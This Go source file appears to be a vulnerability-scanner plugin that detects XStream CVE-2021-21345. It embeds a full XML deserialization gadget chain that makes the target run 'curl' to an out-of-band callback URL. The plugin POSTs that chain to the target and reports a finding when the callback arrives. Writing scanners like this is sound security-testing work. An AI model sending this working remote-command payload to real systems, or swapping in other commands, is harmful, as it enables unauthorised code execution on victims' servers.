/**
2 * @Author: shaochuyu
3 * @Date: 3/22/24
4 */

package xstream

import (
	"bytes"
	"context"
	"strings"
	"wscan/core/http"
	"wscan/core/model"
	"wscan/core/plugins/base"
	"wscan/core/reverse"
	logger "wscan/core/utils/log"
)

type CVE_2021_21345 struct {
}

func (p *CVE_2021_21345) Finger() *base.Finger {
	return &base.Finger{
		CheckAction: func(ctx context.Context, ab *base.Apollo) error {
			flow := ab.GetTargetFlow()
			logger.Infof("开始检测xstream/CVE-2021-21345, %s", flow.Request.URL())
			payload := `<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                  <packet>
                    <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                      <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                        <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                          <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                            <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                              <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                              <uriProperties/>
                              <attributeProperties/>
                              <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                                <getter>
                                  <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                                  <name>verify</name>
                                  <parameter-types/>
                                </getter>
                              </inheritedAttWildcard>
                            </bi>
                            <tagName/>
                            <context>
                              <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                                <outer-class reference='../..'/>
                              </marshallerPool>
                              <nameList>
                                <nsUriCannotBeDefaulted>
                                  <boolean>true</boolean>
                                </nsUriCannotBeDefaulted>
                                <namespaceURIs>
                                  <string>1</string>
                                </namespaceURIs>
                                <localNames>
                                  <string>UTF-8</string>
                                </localNames>
                              </nameList>
                            </context>
                          </bridge>
                        </bridge>
                        <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                          <activationCmd>curl {{reverse-url}}</activationCmd>
                        </jaxbObject>
                      </dataSource>
                    </message>
                    <satellites/>
                    <invocationProperties/>
                  </packet>
                </indexMap>
              </comparator>
            </default>
            <int>3</int>
            <string>javax.xml.ws.binding.attachments.inbound</string>
            <string>javax.xml.ws.binding.attachments.inbound</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>`

			unit := ab.Reverse.Register(nil)
			payload = strings.Replace(payload, "{{reverse-url}}", unit.GetVisitURL(), -1)
			req, _ := http.NewRequest("POST",
				flow.Request.URL().JoinPath("/").String(),
				nil)
			req.WithXMLBody(bytes.NewReader([]byte(payload)))
			res, err := ab.HTTPClient.Respond(context.TODO(), req)
			if err != nil {
				return nil
			}
			unit.OnVisit(func(event *reverse.Event) error {
				v := ab.NewWebVuln(req, res, nil)
				if v != nil {
					v.SetTargetURL(flow.Request.URL())
					v.Payload = payload
					ab.OutputVuln(v)
				}
				return nil
			})
			unit.Fetch(0)
			return nil
		},
		Channel: "web-generic",
		Binding: &model.VulnBinding{ID: "xstream/CVE-2021-21345",
			Plugin:   "xstream/CVE-2021-21345",
			Category: "xstream/CVE-2021-21345"},
		NeedReverse: true,
	}
}
